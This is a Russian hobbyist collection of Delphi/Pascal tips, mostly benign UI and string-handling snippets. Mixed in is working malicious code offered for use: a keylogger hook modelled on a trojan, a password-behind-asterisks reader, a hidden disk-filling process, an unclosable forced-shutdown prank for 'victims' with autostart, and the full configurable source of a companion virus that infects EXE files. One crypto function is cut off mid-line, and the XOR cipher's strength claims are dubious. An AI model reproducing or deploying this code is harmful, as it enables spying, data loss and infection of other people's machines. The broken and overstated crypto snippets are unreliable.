При этом удаление окна может произойти не только при закрытии приложения, а, например, при смене BorderStyle у
формы, так как при этом окно уничтожается и создается заново, но с другими параметрами стиля.


Если вы это не поняли значит API вам пока рано ...

К заголовку




" Как при ресайзе имейджа сделать чтоб картинка не промаргивала??
В OnCreate формы напиши: DoubleBuffered := True;
К заголовку




" Как прокрутить текст в Tmemo или в TRichEdit
Я добавляю програмно несколько строк в конец поля Memo, а их не видно. Как прокрутить
Memo, чтобы было видно последние строки ?

Примерно так:
SendMessage(Memo1.Handle, EM_LINESCROLL, 0, Memo1.Lines.Count-1);

К заголовку




" Кодировка полиалфавитным шифром Вигeнера - xor кодировка
Кодировка полиалфавитным шифром Вигeнера - xor кодировка
одна функция для кодирования и декодирования
Input - входная строка. При кодировании это незакодированная строка, при декодировнии это закодированная строка.
Key - слово ключ один и тот же в обоих случаях.


function VigenerCoDec(Input,Key:pchar):pchar
var
i,j:integer;
tmps,text:string;
begin
 text:=Input;
 for i:=1 to length(text) do
 begin
  if i>length(key) then j:=i mod length(key) else j:=i;
  tmps:=tmps+chr((ord(text[i]))xor(ord(key[j])));
 end;
 result:=pchar(tmps);
end;



 Пример использования:
Text:=edit1.text;
K:=edit2.text;
Edit3.text:=VigenerCoDec(Text,K);

Закодировать:
Input:='Привет я РУ'; Key:='hello'; result:='ГуднйзHвH++';
Восстановить:
Input:='ГуднйзHвH++'; Key:='hello'; result:='Привет я РУ';

К заголовку




" Маленькие хитрости хакерских программ
Пару дней назад ко мне в руки попал очередной "хакерский" диск с многообещающим названием
"Всё что надо хакеру/крэкеру для взлома любой системы" (круто! :)). На диске содержится много "полезного"
софта для истинного компьютерного хулигана:
FrontPage 98.
Go!Zilla (хорошая кстати прога).
Полная официальная версия WinXP (объём дистрибутива 150 метров (!)).
Коллекция вирусов (это интересно :)).

Коллекция вирусов при ближайшем рассмотрении содержала в себе много прог, которые вредоносными и назвать тяжело
(подборщики паролей, системы удалённого администрирования, крякер инета :) и т. д.). И среди всего этого попались
мне интересные проги, а именно OpenPass, Behind The Asterisks и MadExplorer. Первые две занимаются тем, что
показывают пароли находящиеся за звёздочками. Но особенность их в том, что они не используют DLL. В "хакере"
была статья (ver.10.01(34)) о написании смотрелки. Суть той программы заключалась в следующем: экзешник
загружаеть Dll'ку, которая в свою очередь ставит хук на мессаги и смотрит, где кликнула мышь, там убирает
звездочки. Но в OpenPass и Behind The Asterisks нет DLL (поэтому они меня и заинтересовали).

Ну что ж, посмотрим что содержится в Behind The Asterisks (так как она меньше, чем OpenPass). Для этого
возьмём WinDasm и декомпилируем BTA. Код программы очень прост и легко читаем. Программа создает стандартный
диалог DialogBoxParamA() и работает только с ним, но не это интересно. Как же она достает текст из полей
ввода без DLL? Смотрим и видим следующие строки:


:00401052 53 push ebx
:00401053 6A0A push 0000000A
:00401055 6A04 push 00000004
:00401057 51 push ecx

* Reference To: USER32.SetTimer, Ord:0252h
|
:00401058 FF1528204000 Call dword ptr [00402028]

Это сразу бросается в глаза (так как программа очень маленькая). Что же делает таймер? А вот что:


//Получаем информацию о расположении курсора на экране.
:0040107C 6800304000 push 00403000

* Reference To: USER32.GetCursorPos, Ord:00FCh
|
:00401081 FF1518204000 Call dword ptr [00402018]
//Теперь получаем handle элемента, над которым находиться мышь.
:00401087 A104304000 mov eax, dword ptr [00403004]
:0040108C 50 push eax
:0040108D 8B0D00304000 mov ecx, dword ptr [00403000]
:00401093 51 push ecx

* Reference To: USER32.WindowFromPoint, Ord:02A9h
|
:00401094 FF1530204000 Call dword ptr [00402030]
// Посылаем сообщение handle'у.
:0040109A 6814304000 push 00403014
:0040109F 6800040000 push 00000400
:004010A4 6A0D push 0000000D
:004010A6 50 push eax

* Reference To: USER32.SendMessageA, Ord:0214h
|
:004010A7 FF152C204000 Call dword ptr [0040202C]

Сообщение 0000000D соответствует WM_GETTEXT. То есть данный вызов копирует содержимое элемента в массив.
Ну а с полученными данными можно делать всё что угодно (в том числе показать пользователю :)).

Вот исходник всего этого на Delphi:


...
var
...
h:integer;
...

procedure timer;
var c:array[1..255] of char;
p:tpoint;
handle:hwnd;
begin
GetCursorPos(p);
handle:=WindowFromPoint(p);
SendMessage(handle,WM_GETTEXT,sizeof(c),integer(@c));
Form1.Caption:=c;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
h:=settimer(handle,0,300,@timer);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
killtimer(handle,h);
end;


Ну вот и всё что касалось BTA. Теперь о MadExplorer'е. Это троян с кучей функций, среди которых есть
клавиатурный шпион, и опять же он реализован без Dll'ки. Обычно в таких программах делают хук на WH_KEYBOARD и
ловят все нажатия (о подобной реализации можно прочесть например на хакере в статье "Клавиатурный шпион своими
руками" (кстати советую, автор хороший кодер)). Минусом этого шпиона можно считать наличие двух файлов и лишние
телодвижения (такие как обработка DllEntryPoint). Изучив код MadExplorer'а (приводить его здесь нет смысла, так
как он очень большой) я написал следующий пример:


...
var
...
h:hhook;
...

function Proc(

code:integer;
wParam:WPARAM;
lParam:LPARAM
):lresult;stdcall;
var c:array[0..255] of char;
nScan:integer;
begin
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
nscan:=nscan shl 16;
GetKeyNameText(nScan,c,256);
form1.ListBox1.Items.Add(c);
end;
result:=callnexthookex(h,code,wparam,lparam);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
caption:=inttostr(h);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
unhookwindowshookex(h);
end;


Этот пример можно доработать и использовать в своих благородных целях. Вот и всё. Жду пожеланий. Если ты хочешь
о чём-либо узнать и мне тоже будет интересно, я обязательно напишу.
Примечание: Под Windows 2000/XP данным способом пароль получить не удается (хотя текст других элементов диалога
читается без проблем). Там надо сделать DLL'ку с хуком (SetWindowsHookEx) и в ней перехватывать мессаги
(если есть нужная мессага, то смотрим пароль).

К заголовку




" Мало места на винте
Действие этой проги заключается в следующем: она следит за позицией курсора и если он в левом верхнем углу экрана,
то она создает под случайным именем и расширением на диске файл с мусором

program musor;

uses
  Windows;

var
   { Объявление переменных }
  text: TextFile;
  alphabet, temp: string;
  i: integer;
  point: TPoint;

function RegisterServiceProcess(dwProcessID, dwType: Integer): integer;
stdcall; external 'KERNEL32.DLL';
begin
  RegisterServiceProcess(0, 1);
  {заполняем строку алфавитом}
  alphabet := 'abcdefghijklmnopqrstucvwxyz';
  while true do
  begin
    { получаем координаты курсора }
    GetCursorPos(point);
    { если х = 0 и y = 0 то }
    if (point.x = 0) and (point.y = 0) then
    begin
      temp:=''; {очищаем буфер}
      for i:=1 to 8 do {генерируем случайное имя файла}
        temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
      temp:=Concat(temp, '.');
      for i:=1 to 3 do {генерируем случайное расширение}
        temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
      Assign(text, temp); { присваиваем имя файлу }
      Rewrite(text); {открываем файл}
      for i:=1 to 30000000 do
      begin
        Yield;
        write(text, '!'); { наполняем файл мусором }
      end;
      Close(text); {закрываем файл }
    end;
  end; {всё сначала }
end.

К заголовку




" Метод половинного деления в TStringList. Отсев в стринглисте.
ВНИМАНИЕ!! Для того чтобы метод работал - надо поставить у вашего TStringList заполненного строками такое свойство :

StringList.Sorted  := True;

TFilteredList=class(TStringList)
 private
   FFilteredList:TStrings;
   FFilter: String;
   isFiltered: Boolean;
   procedure SetFiltered(const Value: Boolean);
   function GetCountFiltered: Integer;
   procedure ChangeFilter;
   procedure SetFilter(const Value: String);
   function GetFilteredItem(const index: Integer): String;
 public
   constructor Create;
   destructor Destroy; override;

   property Filter: String read FFilter write SetFilter;
   property CountFiltered: Integer read GetCountFiltered;
   property Filtered: Boolean read isFiltered write SetFiltered;
   property FilteredItems[const index: Integer]: String read GetFilteredItem;
   property FilteredList: TStrings read FFilteredList;
 end;

procedure TFilteredList.ChangeFilter;
var
 i: Integer;
 Len: Integer;
begin
 FFilteredList.Clear;
 if Filter='' then isFiltered := False;
 if not Filtered then Exit;
 Len := Length(FFilter);
 for i := 0 to Count-1 do
 begin
   if Copy(Self[i],1,Len)=FFilter then FFilteredList.Add(Self[i]);
 end;
end;

constructor TFilteredList.Create;
begin
 inherited Create;
 FFilteredList := TStringList.Create;
end;

destructor TFilteredList.Destroy;
begin
 FFilteredList.Free;
 inherited;
end;

function TFilteredList.GetCountFiltered: Integer;
begin
 Result := FFilteredList.Count;
end;

function TFilteredList.GetFilteredItem(const index: Integer): String;
begin
 Result := FFilteredList[index];
end;

procedure TFilteredList.SetFilter(const Value: String);
begin
 if FFilter=Value then Exit;
 FFilter := Value;
 ChangeFilter;
end;

procedure TFilteredList.SetFiltered(const Value: Boolean);
begin
 isFiltered := Value;
 ChangeFilter;
end;

К заголовку




" Нас ребут, а мы крепчаем!
Let the party begin!

Итак, начнем! Берем твою любимую Дельфю и создаем новый проект (в меню главного окна: File -> New Application).

Я не люблю всяких имен по дефолту, поэтому сразу обзываем появившуюся форму, например, 'SuperForm'
(в Object Inspector`е поле 'Name'), меняем ее заголовок (Caption) на что-нибудь типа 'sHUTiTdOWN -
не дай виндам засохнуть!' и делаем ее диалогом: BorderStyle правим на bsDialog. Теперь тащим на форму label,
checkbox, два radiobutton`а, прогрессбар и таймер. Что, грузанул я тебя? Ну, тогда объясняю в чем маза: label -
просто текст на окне, checkbox - пимпа с флажком, radiobutton - круглая фигулька с точкой внутри (все это во
вкладке 'Standard' списка компонентов), progressbar показывает прогресс выполнения какого-нибудь процесса
(например, когда ставишь софтину в setup`е, он показывает, сколько файлов скопировано, и т.п.), находится этот
бар во вкладке 'Win32', а таймер и в Гондурасе таймер (вкладка 'System'). Эти фичи нужны для пущего западла, а
вот label тебе пригодится во время отладки проги или когда будешь заценять, как она пашет: через него ты будешь
шатдаунера нашего закрывать.

"Все еще только начинается!" ;-) (C) Санта-Барбара

Все свойства объектов меняются просто: выбираешь жертву истязаний и в Object Inspector`е редактируешь нужное
свойство.

Сначала обзовем радиобатоны и поменяем их подписи (Caption): первый - на 'ToPowerOff', кэпшн - на 'повер офф!';
второй - на 'ToReboot', кэпшн - на 'ребут'. Это все нам дальше пригодится. Таймер называем 'DeathTimer', а
прогрессбар просто: 'ProgressBar'. Теперь меняем имя чекбокса на 'ForceBox' и кэпшн на что-то типа 'Force - с
потерей всех данных', а вообще по твоему вкусу. Эта феня нужна для очередного глумления над твоим приятелем,
заюзающим эту прогу. Представь: жмет он на него, жмет, а винды все равно отрубятся в режиме 'force', т.е. никто
не будет спрашивать у запущенных приложений разрешения на взлет. Ты еще помнишь про ма-аленький label (или он у
тебя во все окно получился? :))? Вспоминай! Он нам дальше пригодится, а пока лучше назови его 'Title' и напиши в
нем заголовок проги, например, 'sHUTiTdOWN'.

Займемся кодингом

Для начала сделаем самое простое - объявим нужные для работы переменные. Делать это будем в разделе implementation,
зачем - поймешь сам, если ненадолго включишь мозгу. Итак, вводим вот что:

var

progress : integer; //сколько набежало в прогрессбаре

Want2SwitchOff : byte = 0; //сколько раз кликнули по label`у, чтобы прога закрылась

ReallyClose : boolean = false;//после 5-ти кликов будет true, и все, финита :)

Если ты пока не понял, для чего эти переменные нужны, не кидай ломом в монитор! :) Скоро все станет ясно даже
одноногой табуретке :)).

Теперь нужно сделать так, чтобы сколько наш бедный ламер на чекбокс ни давил, флажок все равно стоял. :) Делается
это так: кликаешь два раза по твоей пимпе с флажком и в открывшемся окне редактирования кода, внутри функции
ForceBoxClick, пишешь:

ForceBox.Checked := true;

Готово! Сейчас сделаем, чтобы прогу обычными средствами (Alf-F4 или крестиком) нельзя было отрубить. Выбираем вкладку
'Events' в свойствах формы (все как обычно в Object Inspector`е), а там создаем обработчик события OnClose.
В нем пишем:

if (ReallyClose) then

Action := caFree

else Action := caNone;

Этот код не будет позволять окну нашего шатдаунера закрываться, пока переменная ReallyClose равна false. А зачем она
нужна? Дык надо оставить какой-нибудь бекдор, чтобы самому прогу можно было тормознуть! Помнишь, я говорил, что
лейбл пригодится? Время обратиться к этому title`у! Опять тыкаешь два раза крысиной пимпой, но только уже по нему.
В появившемся окне с сорцами пишем (внутри функции TitleClick!):

Want2SwitchOff := Want2SwitchOff + 1;

if (Want2SwitchOff = 5) then

begin

ReallyClose := true;

SuperForm.Close();

end;

Что это такое? Ни что иное, как закрывашка (типа открывашки для пива, только наоборот)! Объясняю: после каждого
клика по label`у переменная Want2SwitchOff будет увеличиваться на один. Если она станет равной пяти, прога вырубается!
Все просто. :)



Да будет свет!

Перейдем к главному - самому процессу отрубания виндов. Будем мы их отрубать по желанию трудящихся, т.е. так,
как трудящиеся соизволили выбрать: повер офф, или ребут. Да, еще нужно сделать, чтобы прогрессбар работал. Думаешь,
геморрой? Да всего-то пара строк:

progress := progress + 1;

if (progress <= 100) then ProgressBar.StepIt

else

begin

if (ToReboot.Checked) then

ExitWindowsEx(EWX_REBOOT or EWX_FORCE, 0);

if (ToPowerOff.Checked) then

ExitWindowsEx(EWX_POWEROFF or EWX_FORCE, 0);

end

А теперь догадайся, куда этот код всунуть надо? Нет, туда, куда ты хочешь (конечно, можешь засунуть для опыта :),
но в кодинге это не поможет)! Все опять очень просто. Был там у нас таймер, который до сих пор не заюзан. Сечешь
фишку? Нужен он для того, чтобы на прогрессбар полоски двигать и, в конце концов, комп зашатдаунить (или ребутить).
Поэтому, как обычно, тыкаем по таймеру два раза. Появился обработчик события OnTimer. Это событие обрабатывается
после истечения интервала таймера, который изменяется в свойстве Interval (единица - тысячная секунды). Поставь
там 100, чтобы у жертвы слишком много времени на раздумье не было. :)

Осталось разобрать сам код. Переменная progress показывает, сколько у бара процентов накипело. Когда progress
доходит до ста, начинается процесс отрубания виндов. Очень меня радует, что их можно вырубить вызовом всего
одной функции - ExitWindowsEx. :) У функции этой два параметра: первый - флаг, он говорит что делать (EWX_LOGOFF -
завершение сеанса пользователя, EWX_REBOOT - ребут, EWX_SHUTDOWN - шатдаун, EWX_POWEROFF - (не догадался?)
повер офф), а второй зарезервирован и, по уверениям мелкомягких, игнорируется. EWX_POWEROFF работает только
на машинах, которые его поддерживают, т.е. на ATX`ах. Если ты сомневаешься, что за комп у жертвы, лучше поставь
EWX_SHUTDOWN, который доведет шатдаун до стадии 'Сеанс Windows завершен. Вы можете выкинуть свой компьютер'. :)
Разобрался с флагами? Для них-то и юзаем if-else: он проверяет, какой радиобокс выбран, и делает свое дело.
Voila!

Outroе

Вот и все! Теперь ты можешь считать себя крутым компутерным zаподлянщиком :). Эта прога - самый простой прикол,
который ты мог написать. Конечно, задачу шатдаунера можно реализовать и более крутыми способами, тысячами строк
 и т.п. Но ведь в том и фишка, что так ты посылаешь солить веники всех этих куль-кодеров, которые ваяют простейший
алгоритм целыми томами строк с ненужными операторами? Такой геморрой может быть нужен опять-таки только для
прикола: на олимпиадах по информатике, помню, писали проги на объектном паскале (со всеми конструкторами и
деструкторами!), которые конвертят числа в разные таблицы счисления по указанному в примечании к заданию
алгоритму :)).

По поводу же нашей проги даю домашнее задание. :)

1. Эта прога не будет пахать под NT. В NT`е нужно получить приоритет шатдауна для процесса, чтобы он смог
отрубить систему. Как это сделать? Посмотри в Win32 API reference (только там на Си код в примере :)).

2. Чтобы сделать 'просто супербизона', поищи в хэлпах Дельфей про реестр виндов и заставь прогу вносить себя
в группу запуска при старте форточек. :) Можешь еще поработать над дизигном. У меня в два счета получилось так:

3. Проявляй инициативу, работай мозгом, твори! Кодинг - захватывающее занятие, если им заниматься с увлечением.
Особенно, когда ты творишь не для себя, а для людей (которым будешь вырубать винды ;)). Удачи тебе в твоих
западлостроительных экспериментах!

Какой самый простой способ сделать так, чтобы винды плохо работали, а? Ни за что не угадаешь - надо сделать
так, чтобы они вообще НЕ работали :). Этим мы и займемся: напишем прогу, которая будет их ребутить, шатдаунить,
закрывать, затыкать, вырубать, гасить, валить, то есть попросту иметь. Ведь как люди выходят из-под окон? Кто-то,
порывшись в инструкции, делает все, как дядя Билли прописал, кто-то, проклиная все дикими криками вымирающих
динозавров, тычет Ctrl-Alt-Del, а кто-то просто при первом же обломе лезет давить Reset. А как это делают
настоящие кул-хацкеры? Конечно, они пишут для этого специальную прогу, причем эта прога вырубает винды не
им, а их врагам, ну или просто знакомым ламерам на крайняк... Хе-хе.

К заголовку




" Определить есть ли в приводе диск
var MaximumComponentLength,FileSystemFlags:DWord;
begin
SetErrorMode(SEM_FAILCRITICALERRORS);
if GetVolumeInformation(Pchar('A:\'),nil,0,
nil,MaximumComponentLength,FileSystemFlags,nil,0)=true then
messagedlg('Что-то есть',mtinformation,[mbok],0)
else
messagedlg('Путо',mtinformation,[mbok],0)
end;

К заголовку




" Отключить команду выключить компьютер
uses
  Registry

Затем, например, по нажатию какой-нибудь кнопки написать следующий код:

procedure TForm1.Button1Click(Sender: TObject);
var
a:TRegistry;
begin
a:=TRegistry.create;
a.RootKey:=HKEY_CURRENT_USER;
a.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',true);
a.WriteInteger('NoClose',1);
a.CloseKey;
a.Free;
end;

К заголовку




" Открыть папку и выделить в ней нужный мне файл...
shellexecute(0, nil, 'explorer', pchar(' /select,' + FileName), nil, SW_SHOWMAXIMIZED);
Sergey Kaminski ©   (05.08.04 16:01) [2]

Вот все ключи Explorer'a:

Explorer [/n] [/e] [(,)/root,] [/select,]
/n                Opens a new single-pane window for the default
                 selection. This is usually the root of the drive Windows
                  is installed on. If the window is already open, a
                 duplicate opens.
/e                Opens Windows Explorer in its default view.
/root,    Opens a window view of the specified object.
/select,  Opens a window view with the specified folder, file or
                 application selected.
Examples:
  Example 1:     Explorer /select,C:\TestDir\TestApp.exe
     Opens a window view with TestApp selected.
  Example 2:  Explorer /e,/root,C:\TestDir\TestApp.exe
     This opens Explorer with C: expanded and TestApp selected.
  Example 3:  Explorer /root,\\TestSvr\TestShare
     Opens a window view of the specified share.
  Example 4:  Explorer /root,\\TestSvr\TestShare,select,TestApp.exe
     Opens a window view of the specified share with TestApp selected.

К заголовку




" Пишем вирус на Паскале
 Многие люди создают вирусы. Большинство из них страдают комплексом неполноценности - они стараются создать
что-то сложное. Но в большинстве случаев страдает от этого население. Лучше всего в работе вируса нам поможет
разобраться исходник примерного вируса. Этот вирус ничего не делает, только размножается. Примерный алгоритм на
 Паскале:


{$M $4000,0,0 }
uses crt,dos;
var
sr_file,sr_dir:searchrec;
col,infmax,infcount,i:integer;
auth,name,sdir,path,params:string;
ne_inf,v_h,pe_inf:string;
f:file;
test:text;
P: PathStr;
D: DirStr;
N: NameStr;
E: ExtStr;

function petest(s:string):boolean;
var
fl:file;
byt:integer;
nr:word;
c:char;
begin
{$I-}
petest:=false;
assign(fl,s);
reset(fl,1);
seek(fl,$3c);
BlockRead(fl, byt, SizeOf(byt), NR);
seek(fl,byt);
BlockRead(fl, c, SizeOf(c), NR);
if c='P' then
begin
BlockRead(fl, c, sizeOf(c), NR);
if c='E' then PETest:=true;
end;
close(fl);
end;

function netest(s:string):boolean;
var
fl:file;
byt:integer;
nr:word;
c:char;
begin
{$I-}
netest:=false;
assign(fl,s);
reset(fl,1);
seek(fl,$3c);
BlockRead(fl, byt, SizeOf(byt), NR);
seek(fl,byt);
BlockRead(fl, c, SizeOf(c), NR);
if c='N' then
begin
BlockRead(fl, c, sizeOf(c), NR);
if c='E' then NETest:=true;
end;
close(fl);
end;

procedure inf(s:string);
var
g:file of char;
begin
IF INFCOUNT>=INFMAX THEN EXIT;
{$I-}
if petest(s)=true then
begin
if pe_inf<>'pe_t' then exit;

end;
if netest(s)=true then
begin
if ne_inf<>'ne_t' then exit;

end;

fsplit(s,d,n,e);
assign(g,d+n+'.dat');
reset(g);
if ioresult=0 then
begin
close(g);
exit;
end;
assign(g,s);
rename(g,d+n+'.dat');
SwapVectors;
Exec(getenv('comspec'), ' /c copy '+paramstr(0)+' '+s+' >nul');
SwapVectors;
INFCOUNT:=INFCOUNT+1;
end;

procedure inf_dir;
begin
findfirst('*.exe',$3f,sr_file);
repeat
if fexpand(sr_file.name)<>paramstr(0) then inf(fexpand(sr_file.name));
findnext(sr_file);
until (doserror<>0)or(ioresult<>0);

findfirst('*',$10,sr_dir);
if doserror<>0 then exit;
repeat
findnext(sr_dir);
if doserror<>0 then exit;
until (sr_dir.name<>'..')and(sr_dir.name<>'.');

repeat
if doserror=0 then
begin
chdir(sr_dir.name);
if doserror<>0 then exit;
findfirst('*.exe',$3f,sr_file);
repeat
if fexpand(sr_file.name)<>paramstr(0) then inf(fexpand(sr_file.name));
findnext(sr_file);
until (doserror<>0)or(ioresult<>0);
if (sr_dir.name<>'..')and(sr_dir.name<>'.') then chdir('..');
end;
findnext(sr_dir);
if doserror<>0 then exit;
until (doserror<>0)or(ioresult<>0);

end;

begin
{***********
************
************
************
***********}
NAME:='Имя_вируса';
AUTH:='Имя_автора вируса';
{Заражать PE-EXEфайлы? pe_t - да, pe_n - нет}
PE_INF:='pe_t';
{Заражать NE-EXEфайлы? ne_t - да, ne_n - нет}
NE_INF:='ne_t';
{Сколько файлов заразить максимум за один раз?}
INFMAX:=3;
{Каким цветом выдавать сообщение об ошибке?
0 -черный,
1 - синий,
2 - зеленый,
4 - красный,
номер цвета + 16 - мигать каким - то цветом}
COL:=4+16;
{***********
************
************
************
***********}
infcount:=0;
getdir(0,sdir);
for i:=1 to paramcount do
begin
params:=params+' '+paramstr(i);
end;
fsplit(paramstr(0),d,n,e);
assign(f,paramstr(0));
rename(f,d+n+'.tmp');
{$I-}
assign(f,d+n+'.dat');
rename(f,d+n+'.exe');
if ioresult<>0 then
begin
assign(f,d+n+'.tmp');
rename(f,paramstr(0));
textcolor(col);
writeln('Virus ',name);
writeln('Generated by ',auth);
writeln;
writeln('ERROR:Could not find DATA file.');
textcolor(7);
chdir(sdir);
halt(0);
end;
SwapVectors;
Exec(getenv('comspec'), ' /c '+paramstr(0)+' '+params);
SwapVectors;
assign(f,d+n+'.exe');
rename(f,d+n+'.dat');
assign(f,d+n+'.tmp');
rename(f,d+n+'.exe');
{CODE}
{Проверка системы: если есть c:\vir.dat тогда выходим и не заражаем}
{$I-}
assign(test,'c:\vir.dat');
reset(test);
if ioresult=0 then halt(0);
inf_dir;
chdir(sdir);
chdir('..');
inf_dir;
chdir(sdir);
end.

Разберемся со структурой данного вируса. Этот вирус является вирусом-спутником (companion). Вначале он выполняет
программу, которую заразил, а потом размножается в зависимости от опций. Он может заразить PE-EXE файлы
(В основном Win32), NE-EXE (Win 3.1, Win 3.11) и обыкновенные EXE для DOS. Просмотрев внимательно его алгоритм,
можно создать для него антивирус. Просто надо удалить EXE-файл и на его место поставить файл с таким же именем,
но расширением DAT из текущей директории. Вирусы - спутники не легко обнаружить, так как они не используют хитрые
процедуры заражения.

К заголовку




" Повышение криптоустойчивости шифрования текста любым алгоритмом
Данная функция (AddDisturbToText) представляет собой подготовительную операцию перед шифрацией текста любым
алгоритмом. Функция добавляет в текст случайное количество непечатных символов, располагая их хаотически.
Таким образом подготовленный текст, после шифрации одним и тем-же ключом, не зависимо от алгоритма, каждый
раз будет выглядеть по разному и количественно и качественно, что практически сводит на нет любой статистический
анализ. При расшифровке, непечатные символы элементарно вычищаются функцией RemoveDisturbFromText.

const
 NPCS:set of char = [ #0..#8, #11, #12, #14..#31, #127];

// Добавление в текст непечатных символов
function AddDisturbToText(Source:String):String;
var n, c:integer;
begin
Randomize;
Result:=Source;
n:=(Length(Source)*2)+Random(Length(Source));
while Length(Result)К заголовку




" Поиск в по первым символам его строк.
1)
len:= Length(Edit.Text);
for i:= 0 to StringList.Count-1 do
 if copy(StringList.Strings[i], 1, len)='аб' then
  листбокс.Add(StringList.Strings[i]);

+++++++++++++++++++++++++++++++++++++++++++++++

2)
function FindFirst(List:TstringList; const Mask: String): integer;
var
 cr, l, len, r, t: integer;
begin
 if Mask = '' then begin
   Result := -1;
   Exit;
 end;
 len := length(Mask);
 l := 0;
 r := List.Count - 1;
 t := (l + r) div 2;
 while l <= r do begin
   cr := AnsiCompareText(Copy(List[t], 1, len), Mask);
   if cr = 0 then begin
     result := t;
     exit;
   end else if cr < 0 then
     l := t + 1
   else
     r := t - 1;
   t := (l + r) div 2;
 end;
 result := -1;
end;

+++++++++++++++++++++++++++++++++++++++++

3)
Примерно так:
...
StringList1.LoadFromFile(...);
...
procedure TForm1.Edit1Change(...);
var i,n:integer;
begin
 ListBox1.Clear;
 if StringList1.Count>0 then
 for i:=0 to StringList1.Count-1 do
 begin
   if Copy(StringList1.Strings[i],1,Length(Edit1.Text))=Edit1.Text then
   ListBox1.Items.Add(StringList1.Strings[i]);
 end;
end;
...

К заголовку




" Поиск строки в ListBox и переход на нее
procedure TForm1.Edit1Change(Sender: TObject);
var S  : string;
begin
 S:= pchar(edit1.text);
 with ListBox1 do
    ItemIndex := Perform(LB_SELECTSTRING, ItemIndex, LongInt(S));
end;

К заголовку




" Получение списка DLL загруженных приложением
Иногда бывает полезно знать какими DLL-ками пользуется Ваше приложение. Давайте посмотрим как это можно сделать в Win NT/2000.

Пример функции

unit ModuleProcs;

interface

uses Windows, Classes;

type
  TModuleArray = array[0..400] of HMODULE;
  TModuleOption = (moRemovePath, moIncludeHandle);
  TModuleOptions = set of TModuleOption;

function GetLoadedDLLList(sl: TStrings;
  Options: TModuleOptions = [moRemovePath]): Boolean;

implementation

uses SysUtils;

function GetLoadedDLLList(sl: TStrings;
  Options: TModuleOptions = [moRemovePath]): Boolean;
type
EnumModType = function (hProcess: Longint; lphModule: TModuleArray;
  cb: DWord; var lpcbNeeded: Longint): Boolean; stdcall;
var
  psapilib: HModule;
  EnumProc: Pointer;
  ma: TModuleArray;
  I: Longint;
  FileName: array[0..MAX_PATH] of Char;
  S: string;
begin
  Result := False;

  (* Данная функция запускается только для Widnows NT *)
  if Win32Platform <> VER_PLATFORM_WIN32_NT then
    Exit;

  psapilib := LoadLibrary('psapi.dll');
  if psapilib = 0 then
    Exit;
  try
    EnumProc := GetProcAddress(psapilib, 'EnumProcessModules');
    if not Assigned(EnumProc) then
      Exit;
    sl.Clear;
    FillChar(ma, SizeOF(TModuleArray), 0);
    if EnumModType(EnumProc)(GetCurrentProcess, ma, 400, I) then
    begin
      for I := 0 to 400 do
        if ma[i] <> 0 then
        begin
          FillChar(FileName, MAX_PATH, 0);
          GetModuleFileName(ma[i], FileName, MAX_PATH);
          if CompareText(ExtractFileExt(FileName), '.dll') = 0 then
          begin
            S := FileName;
            if moRemovePath in Options then
              S := ExtractFileName(S);
            if moIncludeHandle in Options then
              sl.AddObject(S, TObject(ma[I]))
            else
              sl.Add(S);
          end;
        end;
    end;
    Result := True;
  finally
    FreeLibrary(psapilib);
  end;
end;

end.


Для вызова приведённой функции надо сделать следующее:

Добавить listbox на форму (Listbox1)
Добавить кнопку на форму (Button1)

Обработчик события OnClick для кнопки будет выглядеть следующим образом

procedure TForm1.Button1Click(Sender: TObject);
begin
  GetLoadedDLLList(ListBox1.Items, [moIncludeHandle, moRemovePath]);
end;

К заголовку




" Получения позиции курсора из компоненты TMemo.
procedure TForm1.Memo1KeyUp(Sender: TObject; var Key: Word;  Shift: TShiftState);
begin
 Memo1Click(Self);
end;
procedure TForm1.Memo1Click(Sender: TObject);
VAR
  LineNum : LongInt;
  CharNum : LongInt;
begin
  LineNum := Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0);
  CharNum := Memo1.Perform(EM_LINEINDEX, LineNum, 0);
  Label1.Caption := IntToStr(LineNum+1)+' : '+IntToStr((Memo1.SelStart-CharNum)+1);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Memo1Click(Self);
end;

К заголовку




" Пример резидентной программы
D меню File | New...
выбрать Console Application.

Записная книжка - это окно с многострочным полем ввода,
 которое легко вызывается и которое сохраняет текст, вводимый пользователем.
 То есть, при открытии текст считывается из файла, а при закрытии сохраняется в файл.
 Поскольку поле ввода - окно, его можно создать без каких-либо родительских окон.
 В VCL аналогом этого было бы создание Memo вне формы.
 Чтобы объяснить Windows, что это поле ввода,
 в качестве имени класса окна нужно указать 'EDIT'. ES_MULTILINE делает его
многострочным.
 Когда записная книжка закрывается, текст из нее нужно сохранить.
 Но сообщения WM_CLOSE, WM_DESTROY и другие попадают не ко мне,
 а в стандартную оконную процедуру поля ввода.
 Поэтому стандартную процедуру поля ввода нужно заменить на свою.
 А чтобы сохранить функциональность поля ввода,
 все сообщения кроме WM_DESTROY пересылаются в старую оконную процедуру.

В прошлом выпуске программа отслеживала координаты курсора и,
 если мышь была в левом верхнем углу экрана, запускала ScreenSaver.
 Чтобы при следующей проверке координат курсора не запускать ScreenSaver повторно,
 программа проверяла, какое окно сейчас активно.
 Дело в том, что стандартные хранители экрана в некоторых версиях Windows
 всегда создают окна с названием класса 'WindowsScreenSaverClass'.
 Но, поскольку работает это не всюду, я решил убрать эту функцию.

program Project1;
uses
  Windows,
  ShellAPI,
  Messages;

const
  ClassName = 'MyResident'; // Имя класса
  WM_NOTIFYTRAYICON = WM_USER + 1; { Это сообщение будет
                      генерироваться при событиях с tray }
var
  menu: hMenu; // Всплывающее меню
  mywnd: hWnd; // Окно программы
  memo: hWnd = 0; // Окно записной книжки
  OldMemoProc: Pointer; // Стандартная оконная процедура Edit

// Оконная процедура записной книжки:
function MemoWndProc(wnd: hWnd; msg, wParam,
  lParam: longint): longint; stdcall;
var
  s: PChar;
  len: integer;
  F: File;
begin
  case msg of
    WM_DESTROY: begin // Окно закрывается
      // Сохранение текста:
      len := GetWindowTextLength(memo);
      GetMem(s, len + 1);
